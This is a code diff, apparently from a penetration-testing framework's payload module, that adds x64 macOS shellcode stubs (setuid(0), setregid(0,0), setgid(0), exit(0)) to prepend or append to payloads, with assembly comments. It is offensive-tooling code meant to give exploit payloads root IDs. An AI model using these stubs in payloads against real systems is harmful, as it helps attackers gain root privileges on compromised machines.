@@ -164,38 +164,67 @@ def handle_x86_osx_opts(pre, app)
164
164
165
165
def handle_x64_osx_opts ( pre , app )
166
166
if ( datastore [ 'PrependSetresuid' ] )
167
- raise RuntimeError , "PrependSetresuid is not implemented"
167
+ # setresuid(0, 0, 0)
168
+ raise RuntimeError , "setresuid syscall is not implemented on x64 OSX systems"
168
169
end
169
170
170
171
if ( datastore [ 'PrependSetreuid' ] )
171
172
# setreuid(0, 0)
172
173
pre << "\x41 \xb0 \x02 " +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
173
174
"\x49 \xc1 \xe0 \x18 " +# shl r8, 24
174
175
"\x49 \x83 \xc8 \x7e " +# or r8, 126 (setreuid=126)
175
- "\x4c \x89 \xc0 " +# mov rax, r8 311
176
+ "\x4c \x89 \xc0 " +# mov rax, r8
176
177
"\x48 \x31 \xff " +# xor rdi, rdi 0
177
178
"\x48 \x31 \xf6 " +# xor rsi, rsi 0
178
179
"\x0f \x05 " # syscall
179
180
end
180
181
181
182
if ( datastore [ 'PrependSetuid' ] )
182
- raise RuntimeError , "PrependSetuid is not implemented"
183
+ # setuid(0)
184
+ pre << "\x41 \xb0 \x02 " +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
185
+ "\x49 \xc1 \xe0 \x18 " +# shl r8, 24
186
+ "\x49 \x83 \xc8 \x17 " +# or r8, 23 (setuid=23)
187
+ "\x4c \x89 \xc0 " +# mov rax, r8
188
+ "\x48 \x31 \xff " +# xor rdi, rdi 0
189
+ "\x0f \x05 " # syscall
183
190
end
184
191
185
192
if ( datastore [ 'PrependSetresgid' ] )
186
- raise RuntimeError , "PrependSetresgid is not implemented"
193
+ # setresgid(0, 0, 0)
194
+ raise RuntimeError , "setresgid syscall is not implemented on x64 OSX systems"
187
195
end
188
196
189
197
if ( datastore [ 'PrependSetregid' ] )
190
- raise RuntimeError , "PrependSetregid is not implemented"
198
+ # setregid(0, 0)
199
+ pre << "\x41 \xb0 \x02 " +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
200
+ "\x49 \xc1 \xe0 \x18 " +# shl r8, 24
201
+ "\x49 \x83 \xc8 \x7f " +# or r8, 127 (setregid=127)
202
+ "\x4c \x89 \xc0 " +# mov rax, r8
203
+ "\x48 \x31 \xff " +# xor rdi, rdi 0
204
+ "\x48 \x31 \xf6 " +# xor rsi, rsi 0
205
+ "\x0f \x05 " # syscall
191
206
end
192
207
193
208
if ( datastore [ 'PrependSetgid' ] )
194
- raise RuntimeError , "PrependSetgid is not implemented"
209
+ # setgid(0)
210
+ pre << "\x41 \xb0 \x02 " +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
211
+ "\x49 \xc1 \xe0 \x17 " +# shl r8, 23
212
+ "\x49 \x83 \xc8 \x5a " +# or r8, 90 (setgid=181>>1=90)
213
+ "\x49 \xd1 \xe0 " +# shl r8, 1
214
+ "\x49 \x83 \xc8 \x01 " +# or r8, 1 (setgid=181&1=1)
215
+ "\x4c \x89 \xc0 " +# mov rax, r8
216
+ "\x48 \x31 \xff " +# xor rdi, rdi 0
217
+ "\x0f \x05 " # syscall
195
218
end
196
219
197
220
if ( datastore [ 'AppendExit' ] )
198
- raise RuntimeError , "AppendExit is not implemented"
221
+ # exit(0)
222
+ app << "\x41 \xb0 \x02 " +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
223
+ "\x49 \xc1 \xe0 \x18 " +# shl r8, 24
224
+ "\x49 \x83 \xc8 \x01 " +# or r8, 1 (exit=1)
225
+ "\x4c \x89 \xc0 " +# mov rax, r8
226
+ "\x48 \x31 \xff " +# xor rdi, rdi 0
227
+ "\x0f \x05 " # syscall
199
228
end
200
229
end
201
230
0 commit comments